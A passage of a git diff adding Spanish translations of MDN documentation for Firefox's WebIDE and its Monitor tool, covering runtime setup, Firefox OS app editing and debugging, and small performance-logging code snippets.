+<p><img alt="window global del documento" src="https://mdn.mozillademos.org/files/7355/web-console-iframe-document.png" style="display: block; height: 75px; margin-left: auto; margin-right: auto; width: 632px;">Y puedes llamar a la función definida en el <code>iframe</code>:</p>
+
+<p><img alt="función en la consola web" src="https://mdn.mozillademos.org/files/7357/web-console-iframe-function.png" style="display: block; height: 77px; margin-left: auto; margin-right: auto; width: 632px;"></p>
+
+<h2 id="Comandos_auxiliares">Comandos auxiliares</h2>
+
+<p>{{ page("es/docs/Tools/Web_Console/Helpers", "Los comandos") }}</p>
diff --git a/files/es/tools/webide/index.html b/files/es/tools/webide/index.html
new file mode 100644
index 0000000000..e2a8c54122
--- /dev/null
+++ b/files/es/tools/webide/index.html
@@ -0,0 +1,298 @@
+---
+title: WebIDE
+slug: Tools/WebIDE
+translation_of: Archive/WebIDE
+---
+<div class="geckoVersionNote">
+<p>WebIDE está disponible desde Firefox 34 en adelante.</p>
+
+<p>También puede habilitarlo en Firefox 33, modificando una opción: Visite <a href="http://kb.mozillazine.org/About:config">about:config</a>, encuentre la opción llamada <code>devtools.webide.enabled</code> y cambie su valor a <code>true</code>.</p>
+</div>
+
+<div class="summary">
+<p>WebIDE es el sustituto de <a href="/es/Firefox_OS/Using_the_App_Manager">App Manager</a>. Al igual que App Manager, este permite ejecutar y depurar aplicaciones <a href="/es/Firefox_OS">Firefox OS</a>  utilizando el <a href="/es/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator</a> o un dispositivo Firefox OS real.</p>
+
+<p>Además, proporciona un entorno de edición para crear y desarrollar aplicaciones para FireFox OS, incluye una vista de árbol jerárquica de todos los archivos de la aplicación con la posibilidad de editarlos y grabar los cambios realizados, y también dos plantillas de aplicación para ayudar a comenzar a desarrollar.</p>
+
+<p>Por último, WebIDE le permite conectarse a <a href="https://developer.mozilla.org/en-US/docs/Tools">Firefox Developer Tools</a> (Herramientas de Desarrollo Firefox) a otros navegadores, incluyendo Firefox para Android, Chrome para Android, y Safari para iOS. Vea la página de<a href="/es/docs/Tools/Remote_Debugging"> </a><a href="https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging">Remote Debugging</a> (Depuración Remota) para instrucciones de como conectar con un navegador específico.</p>
+</div>
+
+<p>Con WebIDE, primero <a href="/es/docs/Tools/WebIDE#Setting_up_runtimes">configura uno o varios <em>runtimes</em></a>. Un <em>runtime </em>es un entorno en el que podrás ejecutar y depurar la aplicación. Un <em>runtime</em> podría ser un dispositivo Firefox OS conectado al escritorio a través de USB, o podría ser un Simulador de Firefox OS instalado en el propio escritorio.</p>
+
+<p>Luego, <a href="/es/docs/Tools/WebIDE#Creating_and_opening_apps">cree una aplicación, o abra una aplicación existente</a>. Si está creando una nueva aplicación, empiece con una plantilla que incluya la estructura y el contenido mínimo que necesita para empezar, o una plantilla más completa que muestre cómo utilizar una API privilegiada. WebIDE muestra los archivos de su aplicación en un árbol, que se pueden editar y guardar usando su editor de código incorporado. Por supuesto, usted no tiene que utilizar el editor integrado: puede desarrollar su aplicación completamente fuera del WebIDE, y sólo utilizarlo para la depuración.</p>
+
+<p>Finalmente, puede <a href="/es/docs/Tools/WebIDE#Running_and_debugging_apps">instalar la aplicción en uno de los <em>runtimes</em> y ejecutarla</a>. Usted puede abrir la suite de herramientas para desarrolladores - el <a href="/es/docs/Tools/Page_Inspector">Inspector</a>, la <a href="/es/docs/Tools/Web_Console">Consola</a>, el <a href="/es/docs/Tools/Debugger">JavaScript Debugger</a> (Depurador de JavaScript), etc. - para examinar y modificar la aplicación en ejecución.</p>
+
+<h2 id="Requisitos_del_Sistema">Requisitos del Sistema</h2>
+
+<p>Para desarrollar y depurar aplicaciones utilizando la WebIDE, todo lo que necesita es Firefox versión 33 o posterior. Para hacer pruebas en un dispositivo de Firefox OS real, necesita un dispositivo que ejecute Firefox OS 1.2 o posterior, y un cable USB.<br>
+ <br>
+ Sólo se puede utilizar el WebIDE si usted está pensando en Firefox OS 1.2 o posterior.</p>
+
+<h2 id="Ejecutando_WebIDE">Ejecutando WebIDE</h2>
+
+<p>Hay tres maneras de abrir WebIDE:</p>
+
+<ul>
+ <li>En el menú Web Developer (Desarrollador Web), haga clic en "WebIDE" y éste se abrirá.</li>
+ <li>Use la combinación de teclas Shift-F8.</li>
+ <li>Un ícono para tales efectos está disponible en la Barra de Herramientas de Firefox. Este siembre es visible si se está usando <a href="/es/Firefox/Developer_Edition">Firefox Developer Edition</a> (Firefox Edición Desarrollador), y con cualquier Firefox versión 36 o superior aparece después de que haya abierto el WebIDE al menos una vez:</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9437/webide-icon.png" style="display: block; margin-left: auto; margin-right: auto; width: 897px;"></p>
+
+<p>Así es como luce WebIDE:<img alt="" src="https://mdn.mozillademos.org/files/8033/webide-initial.png" style="display: block; height: 560px; margin-left: auto; margin-right: auto; width: 720px;">El menú desplegable de la izquierda con la etiqueta "Abrir aplicación" (Open App) le permite abrir aplicaciones existentes o crear otras nuevas. El menú desplegable de la derecha con la etiqueta "Seleccionar <em>Runtime</em>" (Select Runtime) le permite seleccionar un <em>runtime</em> o configurar uno nuevo.<br>
+ <br>
+ Los botones en el medio ejecutan, detienen, y depuran la aplicación: sólo se activan cuando se ha abierto una aplicación y se selecciona un <em>runtime</em>.</p>
+
+<p>Desde Firefox versión 36, puede cambiar el tamaño de la fuente de todo el WebIDE usando los atajos de teclado estándares (Use <code>Command</code> en vez de <code>Control</code> en OS X):</p>
+
+<ul>
+ <li><code>Ctrl +</code>  aumenta el tamaño de la fuente</li>
+ <li><code>Ctrl -</code>  disminuye el tamaño de la fuente</li>
+ <li><code>Ctrl 0</code>  vuelte el tamaño de la fuente al valor por defecto</li>
+</ul>
+
+<h2 id="Configurando_runtimes">Configurando <em>runtimes</em></h2>
+
+<p>En el el menú desplegable "Seleccione <em>Runtime</em>", los <em>rumtimes</em> se agrupan en tres tipos:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Connecting_a_Firefox_OS_device">Dispositivos USB</a>: Dispositivos con sistema operativo Firefox conectados a través de USB.</li>
+ <li><a href="/en-US/docs/Tools/WebIDE#Adding_a_Simulator">Simuladores</a>: instancias del simulador Firefox OS que ha instalado.</li>
+ <li><a href="/en-US/docs/Tools/WebIDE#Custom_runtimes">Personalizado</a>: úselo para conectarse a la WebIDE utilizando un nombre arbitrario y el puerto.</li>
+</ul>
+
+<p>La primera vez que hace clic en el menú desplegable, es posible que no vea los <em>runtimes</em> aquí:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8043/webide-no-runtimes.png" style="display: block; height: 564px; margin-left: auto; margin-right: auto; width: 723px;">El resto de esta sección describe cómo se pueden agregar algunos <em>runtimes</em>.</p>
+
+<h3 id="Conectando_un_dispositivo_Firefox_OS">Conectando un dispositivo Firefox OS</h3>
+
+<p>Antes de conectar un dispositivo Firefox OS, algunas configuraciones que debes revisar:</p>
+
+<ul>
+ <li><strong>revisar la versión Firefox OS: </strong>asegurar que tu dispositivo tiene Firefox OS 1.2/Boot2Gecko 1.2 o superior. Para revisar la versión, ir a configuracion de app del dispositivo, luego <code>Device Information &gt; Software</code>. Si no tiene la última actualización, busca tu dispositivo en  <a href="/en-US/Firefox_OS/Developer_phone_guide">guia del desarrollador</a> y sigue las instrucciones de actualizacion.</li>
+ <li><strong>habilitar depuracion remota: </strong>en la configuracion de app del dispositivo, ir a <code>Device information &gt; More information &gt; Developer</code>.
+  <ul>
+  </ul>
+
+  <ul>
+   <li>Firefox OS 1.3 y anteriores: "Depuración Remota" es una simple casilla. Confirmalo.</li>
+   <li>Firefox OS 1.4 y superiores: "Depuración Remota" le pedirá habilitar ADB, o ADB y DevTools. Seleccionar "ADB y DevTools".</li>
+  </ul>
+ </li>
+ <li><strong>deshabilitar el bloqueo de pantalla en el dispositivo:</strong> en la configuracion de app del dispositivo, vaya a <code>Screen Lock</code> y desmarcar el <code>Lock Screen</code> checkbox. es una buena idea porque cuando la pantalla se bloquea, la conexion del teléfono se pierde, esto significa que no esta disponible para depuración.</li>
+ <li><strong>si tu quieres depurar aplicaciones, incluyendo aplicaciones presintaladas</strong>: revisar la sección <a href="/en-US/docs/Tools/WebIDE#Debugging_certified_apps">depurando apps certificadas </a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Solo Linux :</strong></p>
+
+<ul>
+ <li>agregar archivo de reglas <code>udev</code> , asi como el paso 3 documentado en <a href="http://developer.android.com/tools/device.html#setting-up">configurando un dispositivo Android</a>. El atributo <code>idVendor</code>  a utilizar para Geeksphone es"05c6", y <a href="http://developer.android.com/tools/device.html#VendorIds">esta pagina</a> despliega otros valores de <code>idVendor</code>.</li>
+</ul>
+</div>
+
+<div class="note">
+<p><strong>Solo Windows:</strong></p>
+
+<ul>
+ <li>necesitas instalar drivers, como se documenta en el paso 3 de <a href="http://developer.android.com/tools/device.html#setting-up">configurar un dispositivo Android</a>. Tú puedes encontrar drivers para dispositivos Geeksphone en <a href="http://downloads.geeksphone.com/">sitio web de Geeksphone </a>. Windows 8 por defecto no permite instalar drivers no firmados. Ver el siguiente tutorial en <a class="external external-icon" href="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html" title="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html">"Como instalar driver no firmados en Windows 8"</a>.</li>
+ <li>si el WebIDE no visualiza tu dispositivo después de seguir los pasos, puede que tengas que editar <a class="external external-icon" href="http://blog.fh-kaernten.at/wehr/?p=1182">edit adb_usb.ini</a>.</li>
+</ul>
+</div>
+
+<p>Si existe otro dispositivo Android conectado a tu ordenador, desconectelo(s). Ahora conecta el dispositivo al ordenador mediante el USB. Tu podrás ver que tu dispositivo aparecer bajo "USB DEVICES":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8045/webide-select-runtime-keon.png" style="display: block; height: 562px; margin-left: auto; margin-right: auto; width: 710px;"></p>
+
+<p>Si no visualizas el dispositivo, dirigete a la página <a href="/en-US/docs/Tools/WebIDE/Troubleshooting">Solucionador de problemas</a>.</p>
+
+<h3 id="Añadiendo_un_Simulador">Añadiendo un Simulador</h3>
+
+<p><span style="line-height: 1.5;"><a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator</a> es una versión de altas capas de <span style="line-height: 1.5;">Firefox OS</span> que simula un dispositivo Firefox OS, pero se ejecuta runs en el escritorio</span><span style="line-height: 1.5;">. Corre en una ventana del mismo tamaño de un dispositivo</span><span style="line-height: 1.5;"> Firefox OS, incluye la interface de usuario Firefox OS, una terminal de construcción built-in apps, y simula varios APIs para dispositivos Firefox OS.</span></p>
+
+<p>Esto significa que en muchos casos, no necesitas un dispositivo real para probar y depurar su app.<span style="line-height: 1.5;"> </span></p>
+
+<p>El Simulator es grande, tanto que no se desplaza al interior de Firefox sino como un Firefox <a href="/en-US/Add-ons">add-on</a>. Si oprime "Install Simulator" en el menú Runtimes dropdown, irá a la página desde la cual puede instalar Simuladores para varias versiones de Firefox OS.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8039/webide-install-simulator.png" style="display: block; height: 560px; margin-left: auto; margin-right: auto; width: 720px;">Lo puede instalar tantas veces como quieras. Sea paciente: el Simulador es grande y puede llevar unos minutos para descargarlo. Una vez ha instalado algunos Simuladores, puede cerrar la ventana de "Componentes Extra", y los simuladores que ha instalado aparecerán como opciones en el menú desplegable del <em>runtime</em>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8047/webide-select-runtime-keon-simulator.png" style="display: block; height: 559px; margin-left: auto; margin-right: auto; width: 712px;">Para aprender más sobre el Simulador, mire <a href="/en-US/docs/Tools/Firefox_OS_Simulator">su página</a> de documentación.</p>
+
+<h3 id="Runtimes_personalizados"><em>Runtimes</em> personalizados</h3>
+
+<p>Con un <em>runtime </em>personalizado puede usar on nombre de host un un puerto arbitrario para conectarte a un dispositivo remoto.</p>
+
+<p>Bajo el capó, los dispositivos con el SO Firefox y Android se conectan al escritorio llamado <em>Android Debug Bridge</em> (Puente de Depuración Android), o <a href="http://developer.android.com/tools/help/adb.html">ADB</a>. Por defecto, el WebIDE usa un complemento llamado <em>ADB Helper</em>: esto simplifica el proceso para usted, puesto que instala el ADB y configura un puerto para que el escritorio de herramientas de Firefox pueda intercambiar mensajes con el dispositivo.</p>
+
+<p>Esto es conveniente en la mayoría de casos, pero a veces querrá usar el ADB fuera del WebIDE: por ejemplo, podría estar usando el ADB directamente desde línea de comandos. En ese caso, se conectará al dispositivo especificando un host y puerto, usando el  comando <a href="http://developer.android.com/tools/help/adb.html#forwardports"><code>adb forward</code></a>.</p>
+
+<p>Si, entonces, quiere conectar el WebIDE también, debería <a href="https://support.mozilla.org/en-US/kb/disable-or-remove-add-ons#w_how-to-disable-extensions-and-themes">desactivar el complemento ADB Helper</a> y conectar el WebIDE usando la opción de <em>Runtime</em> personalizado, introduciendo el host y puerto que has pasqdo a <code>adb forward</code>.</p>
+
+<p>Tampoco, ADB Helper permite aún conectar a Firefox para Android, así si quiere conectar WebIDE a Firefox para Android, necesitará establecer su propio puerto forwarding y usar la custom runtime. <a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">Ver más sobre conexión a Firefox para Android usando ADB</a>.</p>
+
+<h2 id="Seleccionando_un_runtime">Seleccionando un <em>runtime</em></h2>
+
+<p>Una vez haya configurado un <em>runtime</em>, puede seleccionarlo usando el menú <em>"Select Runtime"</em> (Seleccionar <em>runtime</em>).</p>
+
+<ul>
+ <li>Si selecciona un Simulador, el WebIDE inicia el Simulador.</li>
+ <li>Si selecciona un dispositivo con SO Firefox, el WebIDE se conecta al dispositivo. En el dispositivo, un diálogo le preguntará si confirma la conexión: presione "OK".</li>
+</ul>
+
+<p>Ahora el botón <em>"play"</em> en el centro de la barra de herramientas del WebIDE está habilitado: clícalo para instalar y ejecutar la app en el <em>runtime </em>seleccionado.</p>
+
+<h3 id="Acciones_de_los_runtime">Acciones de los <em>runtime</em></h3>
+
+<p>Cuando un <em>runtime</em> es seleccionado, el menú desplegable de Runtimes tendrá tres objetos extras:</p>
+
+<ul>
+ <li><strong>Información del Runtime</strong>: información del runtime actual.</li>
+ <li><strong>Tabla de permisos</strong>: una tabla ordenando <a href="/en-US/Apps/Build/App_permissions">permisos de la app</a> para el runtime utilizado, indicando, para cada API y <a href="/en-US/Marketplace/Options/Packaged_apps#Types_of_packaged_apps">tipo de app</a>, si el acceso está permitido (✓), denegado (✗), o si se le pide al usuario (!).</li>
+ <li><strong>Captura de pantalla</strong>: un comando para sacar captura de pantalla desde el <em>runtime</em>.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8147/webide-runtimes-menu.png" style="display: block; height: 596px; margin-left: auto; margin-right: auto; width: 789px;"></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8145/webide-runtimeinfo.png" style="display: block; height: 593px; margin-left: auto; margin-right: auto; width: 753px;"><img alt="" src="https://mdn.mozillademos.org/files/8149/webide-permissions.png" style="display: block; height: 593px; margin-left: auto; margin-right: auto; width: 753px;"></p>
+
+<h2 id="Creando_y_abriendo_apps">Creando y abriendo apps</h2>
+
+<p>En el menú "Open App" (Abrir App) tiene tres opciones: crear una nueva app, abrir una app empaquetada y abrir una app como anfitrión.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8049/webide-open-app-empty.png" style="display: block; height: 562px; margin-left: auto; margin-right: auto; width: 723px;"></p>
+
+<h3 id="Crear_una_nueva_app">Crear una nueva app</h3>
+
+<p>Seleccione "New App..." (Nueva App...) para crear una nueva app. Verá una ventana ofreciéndole dos opciones de plantillas, "App Privilegiada y vacía" y "App Privilegiada".</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8053/webide-new-app.png" style="display: block; height: 591px; margin-left: auto; margin-right: auto; width: 739px;"></p>
+
+<p>Ambas plantillas son de la <a href="https://github.com/mozilla/mortar">colección de plantillas para apps</a> de Mozilla, y le proporcionan la estructura básica que necesita para empezar. La "App Privilegiada" muestra cómo una app puede usar permisos para cargar contenido <em>cross-origin</em>.</p>
+
+<p>Una vez haya seleccionado una plantilla, deberá poner un nombre a la app y seleccionar un directorio para guardar los archivos, y luego la app será abierta en el <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Editing_apps">editor de proyectos</a>.</p>
+
+<h3 id="Abrir_una_app_empaquetada">Abrir una app empaquetada</h3>
+
+<p>Seleccione "Open a Packaged App..." (Abrir una app empaquetada) para abrir una <a href="/en-US/Marketplace/Options/Packaged_apps">app empaquetada</a>. Deberá seleccionar un directorio que contenga el  <a href="/en-US/Apps/Build/Manifest">manifiesto</a> de la app, y esta se abrirá en el <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Editing_apps">editor de proyecto</a>.</p>
+
+<h3 id="Abrir_una_app_alojada">Abrir una app alojada</h3>
+
+<p>Seleccione "Open Hosted App..." (Abrir una app alojada) para abrir una app alojada. Deberá introdducir la URL apuntando al <a href="/en-US/Apps/Build/Manifest">manifiesto</a> de la app, y esta se abrirá en el <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Editing_apps">editor de proyecto</a></p>
+
+<h2 id="Editando_apps">Editando apps</h2>
+
+<p>El editor de proyecto proporciona un entorno para edición de apps. Hay una visión en arbol a la izquierda con todos los archivos en la app: puedes añadir y borrar archivos usando un menú contextual. Hay un panel de editor a la derecha.</p>
+
+<h3 id="La_página_sumario_de_la_app">La página sumario de la app</h3>
+
+<p>Cuando por primera vez abra una app, el panel del editor estará ocupado por la página sumario de la app, mostrada debajo:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8055/webide-new-app-editor.png" style="display: block; height: 625px; margin-left: auto; margin-right: auto; width: 846px;"></p>
+
+<p>Puede volver siempre a la página de sumario de la app clicando en la raíz del árbol en la izquierda.</p>
+
+<h3 id="Validación_del_manifiesto">Validación del manifiesto</h3>
+
+<p>WebIDE automáticamente comprueba el manifiesto por algunos problemas comunes. Si encuentra algún problema, indicará que la app es inválida, y describirá el problema en el sumario de la app.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8063/webide-invalid-manifest.png" style="display: block; height: 626px; margin-left: auto; margin-right: auto; width: 847px;"></p>
+
+<p>Por supuesto, puede editar el archivo <a href="/en-US/Apps/Build/Manifest">manifest.webapp</a> directamente en el editor de proyecto.</p>
+
+<h3 id="El_editor_fuente">El editor fuente</h3>
+
+<p>WebIDE usa el editor fuente <a href="http://codemirror.net/">CodeMirror</a>.</p>
+
+<h4 id="Atajos_de_teclado_del_editor_fuente">Atajos de teclado del editor fuente</h4>
+
+<p>{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "source-editor") }}</p>
+
+<h4 id="Autocompletado_de_código">Autocompletado de código</h4>
+
+<p>Cuando se edite CSS y JavaScript, el editor proporciona sugerencias de autocompletado. El autocompletado en CSS está siempre habilitado:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8057/webide-css-autocomplete.png" style="display: block; height: 628px; margin-left: auto; margin-right: auto; width: 849px;">Para mostrar las sugerencias de autocompletado en JavaScript, pulse Control + Espacio:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8059/webide-js-autocomplete.png" style="display: block; height: 653px; margin-left: auto; margin-right: auto; width: 867px;"></p>
+
+<h4 id="Documentación_en_línea">Documentación en línea</h4>
+
+<p>El editor también muestra documentación en línea para JavaScript. Pulsa Shift + Espacio para ver un popup con el contenido de la documentación para el símbolo en el que su cursor está sobrevolando:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8061/webide-js-inline-docs.png" style="display: block; height: 652px; margin-left: auto; margin-right: auto; width: 872px;"></p>
+
+<p>Clicando el link <code>[docs]</code> en el popup le llevará a la página MDN para el símbolo.</p>
+
+<h4 id="Guardando_archivos">Guardando archivos</h4>
+
+<p>Para que los cambios en sus archivos tengan efecto necesitas guardarlos. Los archivos no guardaddos tendrán un asterisco junto a su nombre en la vista de árbol, y podrá guardarlos usando el menú o con Control+S (Command+S en Mac OS X).</p>
+
+<h3 id="Borrando_proyectos">Borrando proyectos</h3>
+
+<p>Para borrar una app del WebIDE, vaya a la <a href="/en-US/docs/Tools/WebIDE#The_app_summary_page">págnia de sumario de la app</a> y clique "Remove Project" (Borrar Proyecto).</p>
+
+<h2 id="Ejecutando_y_depurando_apps">Ejecutando y depurando apps</h2>
+
+<p>Cuando esté preparado para ejecutar la app, necesitará <a href="/en-US/docs/Tools/WebIDE#Selecting_a_runtime">seleccionar un <em>runtime</em> del menú desplegable "Select Runtime"</a>. Si no tiene ningún runtime disponible, compruebe cómo se añaden algunos runtimes en <a href="/en-US/docs/Tools/WebIDE#Setting_up_runtimes">Configurando <em>runtimes</em></a>.</p>
+
+<p>El botón "play" en el centro de la bara de herramientas de WebIDE está habilitado ahora: clique para instalar y ejecutar la app en el <em>runtime </em>seleccionado:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8065/webide-running.png" style="display: block; height: 718px; margin-left: auto; margin-right: auto; width: 1314px;">Para depurar la app, da click en el botón de Pausa y las herramientas de la <a href="/en-US/docs/Tools/Tools_Toolbox">Toolbox</a> de Desarrollador aparecerá, conectada a su app:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8067/webide-debugging.png" style="display: block; height: 688px; margin-left: auto; margin-right: auto; width: 1310px;">Exactamente, cuáles tools herramientas tiene disponibles depende del runtime, pero tendrá al menos las básicas:  <a href="/en-US/docs/Tools/Page_Inspector">Inspector</a>, <a href="/en-US/docs/Tools/Web_Console">Console</a>, <a href="/en-US/docs/Tools/Debugger">JavaScript Debugger</a>, <a href="/en-US/docs/Tools/Style_Editor">Style Editor</a>, <a href="/en-US/docs/Tools/Profiler">Profiler</a> y <a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a>. Tal como en una página web, algunos cambios que haga con las herramientas son visibles inmediatamente en la app, pero no son permanentes. Al contrario, algunos cambios que haga en el panel de editor pane pueden ser grabados como respaldo definitivo del disco, pero no son visibles sin reiniciar la app.</p>
+
+<h3 id="Depurando_apps_certificadas">Depurando apps certificadas</h3>
+
+<p>Con el Simulador, si le das click en el menu desplegable de la aplicación mientras el tiempo de ejecucion esta seleccionado , puedes ver y depurar no solo tu aplicacion, sino todas las que esten corriendo en tiempo de ejecucion, incluidas las <a href="/en-US/Marketplace/Options/Packaged_apps#Certified_app">apps certificadas</a>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8069/webide-debugging-builtin.png" style="display: block; height: 681px; margin-left: auto; margin-right: auto; width: 1302px;"></p>
+
+<p><br>
+ Pero, para depurar certified apps en un dispositivo real:</p>
+
+<ul>
+ <li>el dispositivo debe ejecuta un desarrollo construido de Firefox OS 1.2+</li>
+ <li>usted debe habilitar la depuración de certified app</li>
+</ul>
+
+<p>Para habilitar la depuración certified app, conéctese al proceso runtime, y entonces, en el menú, vaya a <code>Runtime &gt; Runtime Info</code>. Desde allí, si ve <code>"DevTools restricted privileges: yes</code>", esto significa que las certified apps no pueden ser depuradas. La ruta entonces difiere dependiendo de que depuración usted enfreta:</p>
+
+<ul>
+ <li>Dispositivo real
+  <ul>
+   <li>Si éste puede ser radicado rooted, clicking oprimiendo <code>"request higher privileges"</code> podrá habilitar la depuración de apps certificadas (Firefox OS reiniciará).</li>
+  </ul>
+ </li>
+ <li>Simulador
+  <ul>
+   <li>Los simuladores vienen con la depuración de certificadas, habilitada por defecto.</li>
+  </ul>
+ </li>
+ <li>Escritorio B2G
+  <ul>
+   <li>Manualmente edite las <a href="https://developer.mozilla.org/en-US/Firefox_OS/Using_the_App_Manager#Using_the_B2G_desktop_client">preferences</a> del cliente de escritorio B2G desktop client antes de conectarse para habilitar la depuración de app certificadas.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Ahora (o después del reinicio de B2G desktop client) en WebIDE podrá ver todas las certified apps del dispositivo.</p>
+
+<h2 id="Monitoriando_desempeño">Monitoriando desempeño</h2>
+
+<p>Si le intereza la ejecución de sus apps, hay maneras de medir su impacto en la ejecución runtime en WebIDE:</p>
+
+<ul>
+ <li><a href="/docs/Tools/WebIDE/Monitor">Monitor</a> este panel ofrece una buena perspectiva del desempeño del dispositivo. Este ayuda a detectar problemas, e.g. un súbito, incremento excesivo en el uso de memoria de la app (debilidad).</li>
+ <li><a href="/docs/Tools/Profiler">Profiler</a> esta herramienta tool le brinda una manera para analizar una simple huella app's footprint con gran detalle. Especialmente útil cuando investiga un problema conocido de ejecución performance.</li>
+</ul>
+
+<h2 id="Corrección_de_problemas">Corrección de problemas</h2>
+
+<p>Si tiene algunos problemas trabajando con WebIDE, vea la página <a href="/en-US/docs/Tools/WebIDE/Troubleshooting">Troubleshooting</a>.</p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/es/tools/webide/monitor/index.html b/files/es/tools/webide/monitor/index.html
new file mode 100644
index 0000000000..c48c5a8d06
--- /dev/null
+++ b/files/es/tools/webide/monitor/index.html
@@ -0,0 +1,158 @@
+---
+title: Monitor
+slug: Tools/WebIDE/Monitor
+translation_of: Archive/WebIDE/Monitor
+---
+<div class="summary">
+<p>El WebIDE Monitor es una herramienta de datos de propósito general diseñada para ayudar a controlar el desempeño de las aplicaciones y dispositivos <a href="https://developer.mozilla.org/en-US/Firefox_OS">Firefox OS</a>.</p>
+</div>
+
+<p><img alt="The WebIDE Monitor" src="https://thefiletree.com/jan/shots/monitor/monitor.png" style="height: 464px; width: 800px;"></p>
+
+<p>El Monitor es capaz de mostrar gráficos interactivos en tiempo real para visualizar series de tiempo.</p>
+
+<h2 id="Gráficos_disponibles">Gráficos disponibles</h2>
+
+<p>El Monitor viene con algunos gráficos diferentes. Ellos se muestran usualmente una vez que el WebIDE es conectado a un Firefox OS runtime.</p>
+
+<h3 id="Selección_de_medida_única">Selección de medida única</h3>
+
+<p><img alt="Unique Set Size" src="https://thefiletree.com/jan/shots/monitor/uniquesetsize.png" style="height: 310px; width: 879px;"></p>
+
+<p>Este gráfico muestra el footprint de la memoria de todos los procesos de Firefox OS a través del tiempo. Si quieres saber el consumo de memoria de una app de Firefox OS, lanzalo y podrás ver la memoria privada usada por el proceso.</p>
+
+<h2 id="Mostrando_tus_propios_datos">Mostrando tus propios datos</h2>
+
+<p>Es relativamente fácil mostrar cualquier tipo de dato en el Monitor, porque acepta actualizaciones de forma-libre desde muchos orígenes diferentes.</p>
+
+<h3 id="Desde_un_dispositivo_Firefox_OS">Desde un dispositivo Firefox OS</h3>
+
+<p>Es posible enviar datos desde un dispositivo conectado enviando notificaciones de observación.</p>
+
+<p>Nota: Si quieres hacer esto en una <a href="https://developer.mozilla.org/Marketplace/Options/Packaged_apps#Certified_app" title="Certified app"> aplicación certificada</a>, por favor sigue <a href="https://developer.mozilla.org/docs/Tools/WebIDE#Debugging_certified_apps" title="Debugging certified apps">las siguientes instrucciones</a>.</p>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p><code>Services.obs.notifyObservers(null, 'devtools-monitor-update', data);</code></p>
+
+<p>Puedes enviar datos desde cualquier código Javascript con privilegios de chrome. Aqui hay un ejemplo completo midiendo el run time de un codigo en Javascript:</p>
+
+<p><code>const Services = require('Services');<br>
+ <br>
+ var start = Date.now();<br>
+ // code to benchmark<br>
+ var stop = Date.now();<br>
+ <br>
+ var data = { graph: 'Performance', myFeature: stop-start, time: stop }</code><code>;<br>
+ Services.obs.notifyObservers(null, 'devtools-monitor-update', JSON.stringify(data));</code></p>
+
+<h4 id="C">C++</h4>
+
+<p><code>observerService-&gt;NotifyObservers(nullptr, "devtools-monitor-update", data);</code></p>
+
+<p>Puedes enviar datos desde cualquier parte en Gecko. Aqui hay un ejemplo completo midiendo el run time de un codigo:</p>
+
+<p><code>#include &lt;time.h&gt;<br>
+ #include "nsPrintfCString.h"<br>
+ #include "nsIObserverService.h"<br>
+ <br>
+ clock_t start = clock();<br>
+ // code to benchmark<br>
+ clock_t stop = clock();<br>
+ double time = (double)(stop - start) / (CLOCKS_PER_SEC / 1000);<br>
+ <br>
+ nsCOMPtr&lt;nsIObserverService&gt; observerService = services::GetObserverService();<br>
+ if (observerService) {<br>
+   nsPrintfCString str("{\"graph\":\"Performance\",\"myFeature\":%f}", time);<br>
+   nsAutoString data = NS_ConvertUTF8toUTF16(str);<br>
+   observerService-&gt;NotifyObservers(nullptr, "devtools-monitor-update", data.get());<br>
+ }</code></p>
+
+<h3 id="Desde_el_computador">Desde el computador</h3>
+
+<p>Puedes facilmente enviar datos al Monitor sobre un servidor WebSocket. Esto puede ser útil si estás escribiendo una extensión para Firefox, una herramienta de línea de comandos o un servicio web..</p>
+
+<p>Por defecto, el Monitor busca un servidor corriendo en el puerto 9000 de tu computador. Puedes cambiar esto actualizando las preferencias en <code>devtools.webide.monitorWebSocketURL</code>.</p>
+
+<p>Incluso puedes hacer que acepte datos desde tu red local, o desde cualquier parte de Internet.</p>
+
+<h4 id="Node.js">Node.js</h4>
+
+<p><code>TODO</code></p>
+
+<h4 id="Python">Python</h4>
+
+<p><code>TODO</code></p>
+
+<h3 id="Formatos_soportados">Formatos soportados</h3>
+
+<p>El Monitor acepta datos en formato de objetos JSON que generalmente lucen similares a esto:</p>
+
+<p><code>{</code><br>
+ <code>  "graph": "myGraph",<br>
+   "curve": "myCurve",<br>
+   "value": 42,<br>
+   "time": 1234567890<br>
+ }</code></p>
+
+<p>Ese formato está destinado a ser muy flexible. Si no existe un gráfico o curva especificada , se creará automáticamente.</p>
+
+<h4 id="Nombres_arbitrarios">Nombres arbitrarios</h4>
+
+<p>Las entradas no reconocidas serán consideradas como curvas de nombre y valor.</p>
+
